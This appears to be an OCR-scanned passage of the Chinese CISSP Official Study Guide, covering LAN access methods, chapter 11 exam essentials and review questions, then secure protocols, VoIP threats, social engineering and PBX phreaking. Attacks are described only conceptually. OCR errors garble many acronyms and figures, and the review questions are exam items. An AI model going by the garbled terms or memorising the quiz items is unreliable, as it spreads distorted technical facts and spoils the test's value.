带有冲突避免的载波侦昕多路存取(CSMAlCA) 这是一种使用下列步骤进行通信 的 LAN 介质
访 问技术:
(1) 主机具有两个与 LAN 介质的连接: 入站连接和出 站连接。 主机侦昕入站连接， 从而确定
LA1叫 介质是否正在使用 。
(2) 如 果 LAN 介质未被使用 ， 那么主机就请求传输特权。
(3) 如 果超时之后仍未获得特权， 那么主机从步骤(1 )开始重新执行操作 。
(4) 如 果被授予特权， 那么主机就通过出站连接传输其通信数据 。
(5) 主机等待确认信号。
(6) 如 果超时之后仍未收到确认信号 ， 那么 主机从步骤。)开始重新执行操作 。
AppleTalk和 802. 1 1 无线网络连接是利用CSMAlCA技术的网络例子。CSMAlCA试图通过在任意
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CISSP 官方学习指南(第 7 版)
指定时间内只授予单个通信特权来避免冲突。 CSMAlCA系统要求指定一个主系统， 这个主系统能
够响应请求 以及授予发送数据传输的特权 。
带有冲突检测的载波侦昕多路存取(CSMAlCD) 这是一种使用下列步骤进行通信的 LAN 介质
访 问技术:
(1) 主机侦昕 LAN 介质 ， 从而确定 LAN 介质是否正在使用 。
(2) 如 果 LAN 介质未被使用 ， 那 么主机就传输其通信数据。
(3) 在数据传输的同时， 主机侦昕冲突(也就是两台或多 台主机同时传送数据的情况)。
(4) 如果检测到冲突 ， 那么主机就会传输一个停发信号 。
(5) 如果接收到停发信号， 所有主机都会停止数据传输。 每台主机都会等待一个随机的时间周
期 ， 然后从步骤(1)开始重新执行操作。
以太网利用 了 CSMAlCD 技术。 通过使冲突域的每个成员在重新开始传输过程之前都进行随机
的短时间等待， CSMAlCD 可 以响应冲突 。 遗憾的是， 准许冲突发生以及随后对冲突的响应或反应
会 导致传输延迟 以及要求重复传输 ， 这会导致损失 40%左右 的潜在吞吐量。
令牌传递 这是一种使用数字令牌进行通信 的 L州 介质访问技术。 持有令牌的主机有权传输
数据。 一旦传输完成， 主机就会将令牌释放给下一个系统。 令牌传递用在令牌环网络中 ， 例如 FDDI。
由 于持有令牌的系统才有权传输数据 ， 因此令牌环能够防止冲突。
轮询 这是一种使用主从配置进行通信的 L剧 介质访问技术。 一个系统被标记为主系统， 其
他所有系统则被A示记为从属系统。 主系统依次轮询或了解每个从属系统是否需要传输数据。 如果某
个从属系统表达了这种需求， 那么就会被授予传输数据的特权。 一旦该系统的传输结束 ， 主系统就
继续轮询下一个从属 系统 。 同步数据链接控制(SDLC)就使用 了 轮询 。
轮询通过使用许可系统来解决冲突。 轮询是 CSMAlCA 方法的逆过程。 虽然二者都使用主从结
构 ， 但是 CSMAlCA 允许从系统请求特权， 而轮询则 由主系统提供特权。 轮询可以被配置为授予某
个(或多个)系统具有比其他系统更高的优先权。 例如， 如果标准的轮询模式为 1 、 2、 3、 4， 那么就
可 以指定系统 l 优先 ， 轮询模式相应会变化为 l 、 2 、 l 、 3 、 1 、 4。
11.8 本章小结
在网络中设计、 部署和维护安全性需要熟悉涉及网络连接的各种技术， 这些技术包括协议、 服
务 、 通信机制、 拓扑结构、 线缆、 端点和网络连接设备。
OSI 模型是一个对所有协议进行评估的标准。 理解 OSI 模型是如何运用 的 以及如何应用于现实
中 的协议， 有助于系统设计者和系统管理员改善系统的安全性。 TCPIIP 模型直接起源于协议井大致
对应 OSI 模型。
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大多数网络采用 TCPIIP 作为主要的协议。 然而， 在 TCP/IP 网络中还存在许多子协议、 支持协
议 、 服务和安全机制 。 对于这些不 同 实体的基本理解有助于设计和部署安全的网络。
除了路由器、 集线器、 交换机、 中继器、 网关和代理之外， 防火墙也是网络安全性的重要组成
部分。 防火墙有 4 种主要类型: 静态数据包过滤 、 应用级网关、 电路级网 关 以及状态检测 。
汇聚协议在现代网络中是很常见的， 包括 FCoE、 岛。LS、 VoIP 和 iSCSI。 软件定义网络和内容分
发网络己经扩大了 网络的定义 ， 还扩大了 网络的使用 。 广泛的硬件组件可以用来构建网络， 而不仅
仅是通过布线来将所有设备绑定到一起。 了解每种布线类型的优点和缺点是设计安全网络的一部分。
第 11 章 网络安全架构与保护网络组件
无线通信有许多形式， 包括手机、 蓝牙(802. 1 5)和网络(802. 1 1)。 无线通信更容易受到干扰、 窃
听 、 拒绝服务、 中间人攻击。
有三个局域网技术在 CISSP CID 中提到: 以太网 、 令牌环和 FDDI。 每个都可以被用 来部署安
全的网络。 也有几个常见的 网络拓扑结构: 环型、 总线型、 星形型和网格型。
11.9 考试要点
了解 081 模型的各层和每一层所使用的协议 。 OSI 模型的 7 层以及各层所支持的协议如下:
• 应用层: HTIP、 FTP、 LPD、 SMTP， Telnet、 TFTP， EDL POP3 、 IMAP， SNMP、 NNTP、
S-RPC 和 SET。
• 表示层: 加密协议(例如， RSA 和 DES)与格式化类型(例如 ， ASCrr、 EBCDICM、 TIFF、 JPEG、
MPEG 和 MIDI)。
• 会话层 : NFS、 SQL 和 RPC。
• 传输层: SPX、 SSL、 TLS、 TCP 和 UDP 。
• 网络层: ICMP， RIP、 OSPF， BGP、 IGMP， IP、 IPSec、 IPX、 NAT 和 SKIP。
• 数据链路层 : SLIP、 PPP、 ARP， RARP、 L2F、 L2TP， PPTP， FDDI 和 ISDN。
• 物理层: EWTIA-232 、 EIAlTIA-449 、 X.2 1 、 HSSI、 SONET、 V.24 和 V.35 。
全面了解 TCP/IP。 了 解 TCP 和 UDP 之间的差异。 熟悉 4个TCPIIP 层及其与 OSI 模型的对应
关系 。 此外， 还要理解知名端口 的使用 ， 并且熟悉相关 的子协议。
了解不同的线缆类型及其长度和最大吞吐率 。 线 缆连接类型包括 STP、 1 OBase-T(UTP)、
10Base2(细细、 1 0Base5(粗缆)、 1 00Base-T、 1 000Base-T 和光纤。 还应当熟悉从 1 类到 7 类的 盯P。
熟悉常用 的 LAN 技术。 常用 的 LAN 技术是以太网 、 令牌环和 FDDI。 此外还应当熟悉: 模拟
通信与数字通信: 同步通信与异步通信: 基带通信与宽带通信: 广播、 多播和单播通信; CSMA、
CSMAlCA 和 CSMAlCD ; 令牌传递; 轮询 。
了解安全的网络体系结构和设计。 网络安全应考虑 E 和非 E 协 议、 网络访问控制 、 使用安全
的服务和设备、 管理多层协议 以及实现端点安全。
了解网络分段的各种类型和 目的。 网络分段可以用来管理流量、 提高性能并加强安全性。 网络
分段或子网 的例子包括内部网、 外部网和 DMZ。
了解不同的无线技术。 手机、 蓝牙(802. 1 5)和无线网络(802.1 1)都称为无线技术， 即使它们是完
全不同的。 了 解它们的差异 、 优势和弱 点 。 了 解安全 802. 1 1 网络的基础知识。
了解光纤通道。 光纤通道是一种网络数据存储解决方案(例如 SAN(存储区域网络)或 NAS(网络
附加存储))， 允许高速文件传输。
了 解 FCoEo FCoE( 以太网光纤通道)用来封装光纤通道中 的 以太网网络通信 。
了 解 i8CSlo iSCSI(互联网小型计算机系统接 口 )是一个基于 IP 的 网络存储标准。
了解 802.1 1 和 802. 1 1a、 b、 g、 门 和 aco 802.11 是 IEEE 标准的无线网络通信 。 版本包括
802. 1 1 (2Mbps)、 802. 1 1a(54Mbps)、 802. 1 1b(l 1Mbps)、 802. 1 1g(54Mbps)、 802. 1 1n(600Mbps)和 802. 1 1ac
(1.3+Mbps)0 802. 1 1 标准定义了有线等效保密(WEP)。
了解现场勘测。 现场勘测是调查环境中 的位置和信号强度以达到部署无线接入点所需条件的过
程。 这个任务通常涉及利用便携式无线设备进行步行探寻以观测无线信号 的强度， 并映射这一场景
343
CISSP 官方学 习指南(第 7 版)
或建筑的示意图。
了解 WPAo WEP 的早期选择 WPA。 这种技术虽有改进但本身仍是不完全可靠的。 它基于 LEAP
和 T阻P 密码体系并使用 一个密码短语 。
理解 WPA2oWPA2 是一种新的加密方案， 称为计数器模式密码块链接消息认证码协议(CCMP)，
是基于 且S 的加密方案。
了解 WEP。 有线等效保密仰咀P)是由 IEEE 802. 1 1 定义的标准， 目 的是在无线网络上提供等同
于有线或有线网络同一水平的安全和加密。 WEP 提供对抗数据包嗅探和窃听攻击的无线传输保护。
WEP 的第二个好处是能够防止未经授权的无线网络访问 。 WEP 使用预定义的共享密钥 。
了解 EAPo EAP(可扩展认证协议)不是一个特定的认证机制; 它是一个认证框架。 实际上， EAP
允许新的认证技术与现有的无线或点对点连接技术相兼容。
了解 PEAPo PEAP(受保护的可扩展认证协议)通过 TLS 隧道封装 EAP， 提供了认证和加密的
可能性。
了解 LEAPo LEAP(轻量级可扩展认证协议)是 Cisco 专有的 ， 用 于 WPA 替代 TKlP。 协议的设
计是为了在 802. 1 1 i/WAP2 被批准为标准之前 以应对 T阻P 的不足。
了解 MAC 过滤。 MAC 过滤器是一个授权的无线客户端接口 MAC 地址列表， 用 于无线接入点
以 阻止所有非授权设备的访 问 。
了解 SSI D 广播。 无线网络定期在一个称为信标帧的特殊数据包内公布它们的 SSID。 当 SSID
进行广播时， 具有 自 动检测和连接的任何设备不仅能够看到网络， 也可以主动与网络进行连接。
了解 TKIPo TKlP(临时密钥完整性协议)被设计用于替代 WEP 且不需要更换传统的无线硬件。
TKIP 在 802. 1 1 无线网络中得到应用 并被称为 WPA(Wi-Fi Protected Access)。
了 解 CCMP 。 设计 CCMP(计数器模式密码块链接消 息认证码协议)是为 了 取代 WEP 和
T阻P闭性。 CCMP 使用 AES(高级加密标准)和 1 28 位的密钥 。
了解强制门户 。 强制 门户是一个认证技术， 它将一个新的无线 Web 客户端连接重定向到一个访
问 控制接 口 页面 。
了解天线的类型。 各种类型的天线可用于无线客户端和基站。 这些天线包括全向天线以及许多
定 向天线， 如 Yagi 天线、 cantenna 天线、 面板天线和抛物线天线 。
了解现场勘测 。 现场勘测使用 盯 信号探测器对无线信号 的强度、 质量和干扰进行正式评估。
了 解标准的网络拓扑结构。 有环型、 总线型、 星型和 网 状型几类。
了解常用的网络设备。 常用 的网络设备包括防火墙、 路由器、 集线器、 桥、 中继器、 交换机、
网 关和代理。
理解不同类型的防火墙。 防火墙有 4 种基本类型: 静态的数据包过滤、 应用级网关、 电路级网
关 以及状态检测防火墙。
了解用于连接 LAN 和 WAN 通信技术的协议服务。 它们是帧中继、 SMDS、 X.25、 ATM、 HSSI、
SDLC、 HDLC 和 ISDN。
11. 10 书面实验室
344
1 . 说 出 OSI 模型各层的名字并 以 数字形式对从顶部到底部的各层进行编号。
2. 说出 布线 中 的 三个问题以及应对这些 问题的方法。
第 11 章 网 络安全架构与保护网络组件
3. 在无线设备中最大化地使用可用无线 电频率的技术有哪些 ?
4. 讨论用于保护 802. 1 1 无线网络的方法 。
5. 如果知情， 说 出局域网共享介质访问技术和使用它们 的示例。
11. 11 复习题
1 . 下列哪一层是 OSI 模型 的第 4 层?
A. 表示层
B. 网络层
c. 数据链路层
D. 传输层
2. 什么是封装?
A. 改变数据包的源地址和 目 标地址
B. 当 数据在 OSI 模型 中 向下移动时增加报头和报尾
c. 验证一个人 的凭证
D 保护证据， 直到它们 已经被恰当收集
3. 0S1 模型的哪一层用简单模式、 半双工模式、 全双工模式管理通信 ?
A. 应用层
B. 会话层
c. 传输层
D. 物理层
4. 以下哪一个最不能抵抗 EMI?
A. 细缆
B. 1 OBase-T UTP
巳 1 0Base5
D 同轴 电缆
5. 以下哪一个不是网络分段的示例 ?
A 内 部 网
B. DMZ
c. 外部网
D. VPN
6. 以下哪一个不是非 IP 协议?
A. IPX
B. UDP
c. AppleTalk
D. NetBEUI
7. 如 果你是 bluejacking 攻击的受害者， 以 下哪个设备被攻陷 了 ?
A. 防火墙
B 交换机
345
CISSP 官方学习指南(第 7 版)
C. 蜂窝电话
D. web cookies
8. 下列哪个网络技术基于 IEEE 802.3 标准?
A. 以太网
B. 令牌环
C. FDDI
D. HDLC
9. 什么是 TCP 包装器?
A. 一个在交换机上使用的封装协议
B. 一个应用 ， 可 以作为基本的防火墙功能并通过用 户 ID 和系统 D 来实现访 问控制
C.一个安全协议 ， 用于在 WAN 链路上保护 TCP/IP 通信
D. 一个 TCP/IP 隧道机制 ， 用 于非 E 网 络
1 0. 什么 是多层协议具备的优点 ， 同 时也 是潜在的威胁?
A. 吞吐量
B 封装
C. 哈希完整性检测
D. 逻辑地址
11. 通过检查源地址和 目 标地址、 应用程序使用情况、 来源以及同一会话中前数据包和当前数
据包之间的关系， 防火墙能够授予广泛的访问授权并积极监视用户 ， 以及活动和阻止未经授权
346
的用户 和活动 。
A. 静态数据包过滤
B. 应用级网关
C. 状态检查
D. 电路级网 关
12 防火墙是第三代防火墙。
A. 应用级网关
B. 状态检测
C. 电路级网 关
D. 静态数据包过滤
13. 关于防火墙， 下 列哪一项不是正确的?
A. 它们都能够记录流量信息 。
B. 它们能阻隔病毒。
C. 它们能基于可疑攻击发出 问题警报
D. 它们仍不能防止内 部攻击
1 4. 以 下哪个不是可路 由 协议?
A. OSPF
B. BGP
C. RPC
D. RIP
第 11 章 网络安全架构与保护网络组件
15. 是智能集线器， 因为它知道在每个出站端 口上连接的系统的地址。 它不是重复每个
出 站端 口 上 的流量， 而只重复 目 的地己知的 出 站流量。
A. 中 继器
B. 交换机
C. 桥
D. 路由器
1 6. 下列哪一项不是 802. 1 1 无线网络相关的技术?
A. WAP
B.VI月PA
C. WEP
D. 802. 11i
17. 哪种无线频率访 问 方法提供不受干扰的最大吞吐量?
A. FHSS
B. DSSS
C. OFDM
D. OSPF
1 8. 什么安全概念鼓励管理员在每台主机上安装防火墙 、 防病毒扫描器和 IDS ?
A. 端点安全
B. 网络访问控制(NAC)
C. VLAN
D. RADIUS
19. RA盯 执行什么功能?
A. 它 是一种路由协议。
B. 它将 IP 地址转换为 MAC 地址。
c. 它将物理地址解析成逻辑地址。
D. 它管理多重流。
20. 在大型的物理环境中， 无线网络部署何种形式的基础设施模式支持众多接入点只使用单一
的 SSID?
A. 独立
B. 有线扩展
c. 企业扩展
D. 桥
347
第 12 z=二
写主
安全通信和 网 络攻击
本章中 覆盖的 CISSP 考试大纲包含 :
4) 通信与 网络安全(设计和保护网络安全)
• C. 设计和建立安全通信信道
C. l 语言
C.2 多 媒体协助(例如 ， 远程会议技术、 即时通信)
C.3 远程访 问 (例如， VPN、 屏幕截取、 虚拟应用/桌面、 远程办公)
C.4 数据通信(例如， VLAN、 TLS/SSL)
C.5 虚拟网络(例如， SDN、 虚拟 SAN、 访客操作系统、 端 口 隔离)
• D. 阻止和缓解网络攻击
对 以静态形式驻留在存储设备中 的数据进行安全保护是相当简单的。 只 要维持物理访问控制并
实现适当的逻辑访问控制， 保持存储文件的机密'性和完整性对于己授权的用户来说还是可行的。 然
而， 一旦数据被应用程序使用或在网络连接上进行传输， 那么对数据进行安全保护的过酣t变得困
难 多 了 。
通信安全性包括很广泛的问题， 这些问题涉及将电子信息从一处传送到另一处。 通信可能发生
于两个地方的系统之间 ， 也可能发生于同一商业网络的系统之间 。 一旦涉及传输方式， 数据在面对
机密'性、 完整性和可用性的过多威胁时会变得极易遭受破坏。 幸运的是， 很多这样的威胁都能够通
过正确的对策得以减轻或消除。
通信安全性被设计用于检测、 防止甚至纠正数据传输错误(也就是完整性保护)。 在网络支持数
据的交换和共享时， 通信安全性维护了 网络的安全性。 本章会涉及通信安全性、 脆弱性和对策的许
多 内 容 。
在 CISSP 认证考试中， 通信与网络安全域涉及网络组件(例如网络设备和协议)的相关主题、 它
们具体是如何作用的 以及它们和安全的相关性。 该域在本章和第 1 1 章 中进行讨论。 一定要阅读和研
究这两章 中 的材料 以 保证 CISSP 认证考试的 必备材料得 以 完全覆盖。
CISSP 官方学 习指南(第 7 版)
1 2.1 网络与协议安全机制
TCP/IP 是在大多数网络和互联网上使用 的主要协议。 但是， 这种健全的协议也存在许多安全缺
陷 。 在改善 TCP/IP 安全性的努力中 ， 人们开发了 很多子协议、 机制或应用程序， 从而能够保护传输
数据的机密性、 完整性和可用性。 记住下面这一点十分重要: 即使是 TCP/IP 的单个基础协议， 也仍
然存在数百个(否则数千个)单独的用于互联网 的协议、 机制和应用程序， 它们中 的某些被设计用于
提供安全性服务。 某些能够保护完整性， 某些能够保护机密性， 其他一些则可以提供身份认证和访
问控制 。 接下来， 我们将讨论一些较常见的网络和协议安全机制 。
1 2. 1 .1 安全通信协议
为特定应用通信信道提供安全服务协议被称为安全通信 协议。 下面列出 了 一些常见的安全通信
协议:
IP 简单密钥管理(Simple Key Managementfor Internet Protocol， SKIP) 这是一种用于保护无
会话数据报协议的加密工具。SKIP 被设计为与 IPS民 相结合， 并且在 OSI 模型的第 3 层上工作。 SKIP
能够对 TCP/IP 协议族的任何子协议进行加密。 SKIP 在 1 998 年被互联网密钥交换(Jntemet Key
Exchange， lKE)代替 。
软件 IP 加密(software IP encryption， swlPe) 这是另一种第 3层E安全协议。 它通过使用封
装协议来提供身份认证 、 完整性和机密性 。
安全远程过程调用(S-RPC) 这是一种身份认证服务， 并且只是防止在远程系统上在未经授权
的情况下执行代码的手段。
安全套接宇层(SSL) 这是一种由 Netscape 开发的加密协议， 目 的是保护 Web 服务器和 Web 浏
览器之间的通信。 SSL 可 以被用于保护 Web、 电子邮件、 盯P 甚至 Telnet 通信的安全。 SSL 是一个
面 向会话的协议， 提供了机密性和完整性。 SSL 使用 40 位密钥或 128 位密钥进行部署。
传输层安全(TLS) TLS 的功能类似于 SSL， 但使用更健壮的认证和加密协议。
SSL 和 TLS 都有 以 下功能特性:
350
• 支持在不安全的网络中提供安全的客户 端-服务器通信 ， 并防止篡改、 欺骗和窃听。
• 支持单向认证。
• 使用数字证书支持双向认证。
• 通常实现为一个 TCP 包的初始载荷 ， 允许它封装所有的更高层协议的有效载荷 。
• 可 以应用在低层 ， 比如在第 3 层(网络层)作为 VPN， 这被称为 OpenVPN。
此外， TLS 能用于加密 UDP 和会话初始协议(Session Initiation Protocol， SIP)连接(SIP 是一个和
VoIP 有关联的协议) 。
安全电子交易(Secu陪 Electronic Transaction， SET) 这是一种在互联网上进行交易传输时所
使用 的安全协议。 SET 的基础是 RSA 加密以及数据加密标准(DES)。 主要 的信用卡公司 都支持 SET，
例如 Visa 和 MasterCard。 然而， SET 没有被互联网广泛接受; 相反， 由 SSLITLS 加密的会话是安
全 电子商务的首选机制 。
注意 :
上述 5 种安全通信协议(SKIP、 swIPe、 S-RPC、 SSLlTLS 和 SET)只是一些可用 的选项示例。 记
第 12 章 安全通信和网络攻击
住还有许多 其他的安全协议， 如 IPSec 和 SSH。
1 2.1.2 身份认证协议
在远程系统和服务器(或网络)之间开始建立连接之后， 第一个进行的操作应当是验证远程用户
的身份， 这个操作被称为身份认证。 下面列出了一些身份认证协议， 这些协议能够控制如何交换登
录 凭证以及在传输过程中是否对登录凭证进行加密 :
挑战握手身份认证协议(Challenge Handshake Authentication Protocol ， CHAP) 这是在 PPP
链接上使用 的一种身份认证协议。 CHAP 对用户 名和密码进行加密 ， 通过使用不能重放的挑战，响应
对话来执行身份认证操作。 在建立的通信会话持续期间， CHAP 也会定期对远程系统重新进行身份
认证， 从而认证远程客户 端的持久性身份。 这个活动对用户是透 明 的 。
密码身份认证协议(Password Authentication Protocol ， PAP) 这是一种用于 PPP 的标准身份
认证协议。 PAP 以明文的形式传递用户 名和密码。 PAP 没有提供任何形式的加也 只 是简单地提供
了 一种从客户 端向 身份认证服务器传输登录凭证的手段。
可扩展身份认证协议(Extensible Authentication Protocol ， EAP) 这是一个身份认证架构， 而
不是一种实际的协议。 EAP 允许自 定义身份认证安全解决方案， 例如支持智能卡、 令牌和生物测定
学(参见下方 " EAP、 PEAP 和 LEAP " 中 关于基于 EAP 的其他协 议)。
上述三种身份认证协议最初用在拨号 PPP 连接上 。 现在， 大量的远距离连接技术(包括宽带和
VPN)都应用 了这些协议与其他很多较新的身份认证协议和概念。
EAP、 PEAP 幸日 LEAP
受保护的可扩展认证协议σEAP)将 EAP 封装在一条 TLS 隧道中 。 PEAP 优于 EAP 走因 为 EAP
假设信道已经被保护， 但是 PEAP 实施 自 己的安全措施。 PEAP 在 802. 1 1 无线连接上用 于保障通信
安全。 PEAP 可以采用 WPA 和 WPA-2 连接。
PEAP 也优于思科专有的 EAP， I'1p轻量级的 EAP 协议(LEAP). LEAP 是思科对不安全 WEP 的
初始响应。 LEAP 支持频繁的再认证和 WEP 密钥的 变化仰EP 衡有羊个认证和一个静态密钥)。 然而，
LEAP 可以被各种工具和技术进行破解 ， 包括漏洞利用 工 具 Asleap.
1 2.2 安全的语音通信
语音通信的脆弱性与 IT 系统安全无关。 然而， 随着语音通信解决方案开始通过使用数字设备和
IP 语音(VoIP)技术在网络上加以应用 ， 保护语音通信的安全就变成了 日益重要的问题。 当语音通信
在 IT 基础设施上发生时， 实现能够提供身份认证和完整性的机制就十分重要 。 要维护机密性， 就必
须在传输时采用加密服务或协议来保护语音通信 。
常规的专用分支交换(Private Branch Exchange， PBX)或 POTSIPSTN 语音通信容易遭受截获、 偷
听、 分机窃听和其他利用。 对组织物理位置范围内的语音通信的控制往往要求维护物理安全性。 组
织外部的语音通信安全通常是提供租用服务的电话公司 的职责。 如果语音通信的脆弱性对于支撑安
全策略来说是个重要的 问题 ， 就应当部署语音通信专用 的加密通信机制 。
351
352
CISSP 官方学习指南(第 7 版)
1 2.2.1 互联网语音协议(VoIP)
VoIP 是一种将语音封装成 E 数据包， 并支持音频电话通过 TCP/IP 网络进行连接的技术。 VoIP
己经成为企业和个人一种流行和廉价的 电话解决方案。
选择 VoIP 解决方案时保持安全性， 确保 VoIP 提供你所期望的隐私性和安全性， 是十分重要的 。
一些 VoIP 系统本质上是纯明文形式的通信 ， 这将容易被拦截和窃听; 其他系统是高度加密的， 这将
阻止和挫败任何干扰或窃听企图 。
VoIP 并不是没有 问题。 黑客可以用众多潜在的攻击方式来攻击 VoIP 解决方案:
• 呼叫 D 可以轻易被任意 VoIP 工具进行伪造， 因此黑客可以执行语音钓鱼(VoIP 钓鱼)攻击
或在网络中进行语音垃圾邮件(SPIT)攻击。
• 呼叫管理系统和 VoIP 电话本身的漏洞可能会使它们容易受到 OS 攻击和 DoS 攻击。 如果设
备或软件的主机操作系统或固件有漏洞 ， 离黑 客攻击往往也就不远了 。
• 黑客可能会通过欺骗呼 叫经理或终端用户 进行协商或回应的方式发动中间人φ但也吗攻击。
• 根据部署方式， 在交换机中部署VoIP 电话也有类似部署桌面终端和服务器系统相同的风险。
这可能导致发生类似 VLAN 中 的 802.1x 认证证伪和 VoIP 跳跃(跳过验证通道)。
• 由于VoIP流量也是网络流量， 对于不加密的VoIP流量可以通过解码的方式来窃听VoIP通信。
1 2.2.2 社会工程学
怀有恶意的个人可以通过名为社会工程学的技术来利用语音通信。 社会工程学是不认识的人获
得组织内部某个人信任的一种方式。 擅长社会工程学的人可以使员工相信他们是上层管理人员 、 技
术支持人员 、 咨询人员等。 一旦获得信任， 受害者常常会被怂恿在系统中修改他们的用户账户 ， 例
如重新设置密码。 其他攻击包括指示受害者打开特定的 电子邮件附件、 启 动某个应用程序或者连接
特定的 URL。 无论实际的活动是什么 ， 这种攻击总是有 目 的性地打开一个后门 ， 从而使攻击者利用
后门获得网络的访问权限。
组织内 的人使得公司容易受到社会工程学攻击。 仅仅是一点点信息或一些事实， 就常常可能使
得受害者透露机密信息或从事不负责任的活动。 社会工程学攻击利用 了 人类的一些特点 ， 例如， 对
别人的基本信任以及懒惰。 忽略差异、 心不在焉、 遵从命令、 假设别人知道的 比他们实际做的多、
愿意帮助别人以及害怕受到训斥也可能导致社会工程学攻击。 由于受害者从内部开放了访问路径，
并且在安全屏障上有效地打通了 一个入口， 因此攻击者常常能够避开广泛的物理和逻辑安全控制。
⑩ 真实场景
社会工程学的魔力
社会工程学是一个极富吸引 力 的主题。社会工程学是能够进入技术几乎完 美的安全环境的途径，
是针对组织 内 部人员 进行攻击的技巧。 虽 然 CISSP 考试不涉及这方面的 内 容， 但是通过许多优秀的 、
与社会工程学相关的资源 、 示例和讨论， 不仅可以增强对这种安全问题的 防范意识， 而且还会觉得
极为有趣。 可以通过搜索术语 "社会工程学" 来投寻相关的书籍与在线视频， 说不定你会沉迷于这
些信息或视频示例 。
第 1 2 章 安全通信和网络攻击
防止社会工程学攻击的唯一途径是教会用户 如何应对和沟通只有语音的通信。 下面给出 了一些
指导原则 :
· 在语音通信显得奇怪 、 不恰当或意外时 ， 务必始终保持谨慎。
• 总是要求提供身份证明 。 身份可以是驾照号或社会保险号， 这些号码很容易进行验证。 此
外还可以采取这样的方式: 在办公室内找一个能够识别呼叫者声音的人来接听呼叫。 例如，
如果呼叫者声称 自 己是部门 经理， 那么可以通过请求其管理助手来接昕呼叫 ， 以便确认呼
叫 者的身份。
• 对所有只有语音的网络更改或活动请求， 都要求回叫授权。 当初始客户端连接断开时， 因
叫 授权就发生了 ， 并且服务器为了 执行第二轮认证 ， 以预定数量回呼客户端 。
• 对信息(用户 名 、 密码、 IP 地址、 经理名字 、 拨入号码等)进行分类， 并明确指出在语音通信
中 可 以 讨论甚至确认什么信息。
• 如果某人在 电话中请求秘密的信息， 而这个人应当知道在电话中提供特定信息违反了 公司
的 安全策略， 那么就必须询问 为什么需要这些信息并再次验证其身份 。 此外 ， 这件事还应
该报告给安全管理员 。
• 永远不要基于只有语音的通信 分发或更改密码。
• 始终安全地处理或销毁所有的办公室文档(根据安全策略和合规要求)， 特别是包含 π 基础
设施或其安全机制相关信 息的任何文案或一次性介质 。
1 2.2.3 伪造与滥用
对语音通信的另一种威胁是 PBX 伪造和滥用 。 许多 PBX 系统都会被恶意的攻击者用于躲避收
费和隐藏 自 己的身份。 被称为飞客(phreaker)的恶意攻击者滥用 电话系统的方式与攻击者滥用计算机
网络的方式几乎完全相同 。 飞客可能能够获得对个人语音信箱的未授权访问， 也可能重定向消息、
阻止访问 以及重定 向 入站和出站呼叫。
针对 PBX 伪造和滥用 的对策与许多保护典型计算机网络的预防措施相同， 包括逻辑或技术上的
控制、 行政管理性控制 以及物理性控制。 下面列出 了设计 PBX 安全解决方案时需要记住的一些要点:
• 考虑、使用信用 卡或呼叫卡系统来替换通过 PBX 的远程访 问 或长途呼叫 。
• 限制只有工作任务需要的 己授权用户 才能够拨入和拨出 。
• 对于拨入调制解调器， 使用未公开的 电话号码， 这些号码在语音号码同 区段范围之外。
• 阻止或禁止任何未指定的访问码或账户 。
• 定 义可接受的使用策略， 并且培训 用户如何正确地使用 系统。
• 记录和审计 PBX 上 的所有活动 ， 并且在审计跟踪中 查看是否存在安全和使用违规。
• 禁止维护调制解调器(例如， 通过供应商远程管理、 更新和调整己部署产品来远程访问调制
解调器)和账户 。
• 修 改所有默认配置， 尤其是密码和与行政性管理或特权功能相关联的能力。
• 阻止远程呼叫(也就是允许远程呼叫者先拨入 PBX， 然后再次拨出， 从而将所有收费都指向
PBX 主机)。
• 部署直接拨入系统访问(Deploy Direct Inward System Access， DISA)技术， 从而减少外部的
PBX 伪造(但是需要确认恰当 的配置; 请查看下面的 " DISA: 遭受的危害及其修复" )。
• 使供应商或服务提供商的 更新保持系统是最新的 。
353
CISSP 官方学 习指南(第 7 版)
此外， 维护对所有 PBX 连接中心、 电话入口 或配线间 的物理接入控制能够防止攻击者在现场进
行直接入侵。
⑩ 真实场景
DISA : 遭受的危害及其修复
人们通常认可对 PBX 系 统的 "安全" 改善是直接拔入系统访 问(DISA)， 此系统被设计为通过
为用户 指1t<-.访问码来帮助管理 PBX 的外部访问 和外部控制。 尽管概念引 人注 目 ， 但是这种系统会遭
到 飞客的危害和滥用 。 一旦外部的飞客获忘 了 PBX 访问码， 他们往往能够完全控制和滥用公司 的 电
话网络， 这 包括使用 PBX 将长途呼 叫 的计费指向公司 的 电话账户 ， 而 不是指向飞客的 电话账户 。
为 了获得所期望的安全改善， DISA 必须像其他任何安全特性一样被正确地安装、 配置和监控。
简单地拥有 DISA 是不够的。 确认禁止组织不需要的所有特性， 设计复杂的和难以猜测 的用户码/密
码 ， 然后打开审计功能来监测 PBX 的活动 。
飞客行为(phr四kin目是一种针对电话系统的特定攻击类型。 飞客使用各种技术回避电话系统，
从而获得免费的长途呼叫 、 更改电话服务的功能、 窃取特殊的服务甚至导致服务中断。 某些飞客工
具是实际的设备， 而其他飞客技术则只 是使用正常电话的特定方式。 无论实际使用 的工具或技术是
什么 ， 飞客工具都被称为有色盒(黑盒、 红盒等)。 这些年来， 飞客开发和广泛应用 了 许多盒技术，
但是只有一些技术仍然适用于 目 前基于分组交换的 电话系统。 下面列出 了对于考试需要了解的一些
飞客工具:
• 黑盒用于操纵线电压， 以便窃取长途服务， 往往只 是用户使用 电池和线夹定做的 电路板。
354
• 红盒用于模拟硬币 存入付费电话时的声音， 通常只 是较小的磁带录音机。
• 蓝盒用于模拟与电话网络主干系统直接互动的 26001-泣 声音， 可 以是哨子、 磁带录音机或数
字音频生成器。
• 白盒用于控制电话系统， 是一种双音多频(Dual-Tone MultiFrequency， DTMF)生成器(也就是
键盘)。 白盒既可以是用户定制的设备， 也可以是大多数电话修理人员所用装备 中 的一部分。
注意 :
你可能已经知道， 蜂窝 电话的安全性逐渐开始令人焦虑。 被捕获的 电子序 列号(Electronic Serial
Nurnber， ESN)和移动标识号例obile Identification Nurnber， MIN)可以被刻 录到 空的手机中 ， 从而生
成一个克隆版。 使用 克隆版手机时 ， 所产生的费用会计入原所有者的蜂窝 电话账户 。 而且， 使用 无
线电频率扫描仪能够截获谈话与数据传输。 业七外， 紧邻位置的任何人也可能偶然听到至少一方的通
话内容. 因 此， 在公共场合一定不要谈论机密 的 、 私有 的或敏感的话题。
1 2.3 多 媒体协作
多媒体协作是使用不同的多媒体通信解决方案来支持远程协作(人们通过远程在一个项 目 上一
同工作)。 通常， 协作允许人员跨越不同的时区同时工作。 协作可以通过多媒体功能用于跟踪变化。
协作可以和电子邮件、 聊天、 VoIP、 视频会议、 电子白板的使用 、 在线文档编辑、 实时文件交换、
版本控制 以及其他工具进行合作 。 这些通常是先进远程会议技术的 典型特性。
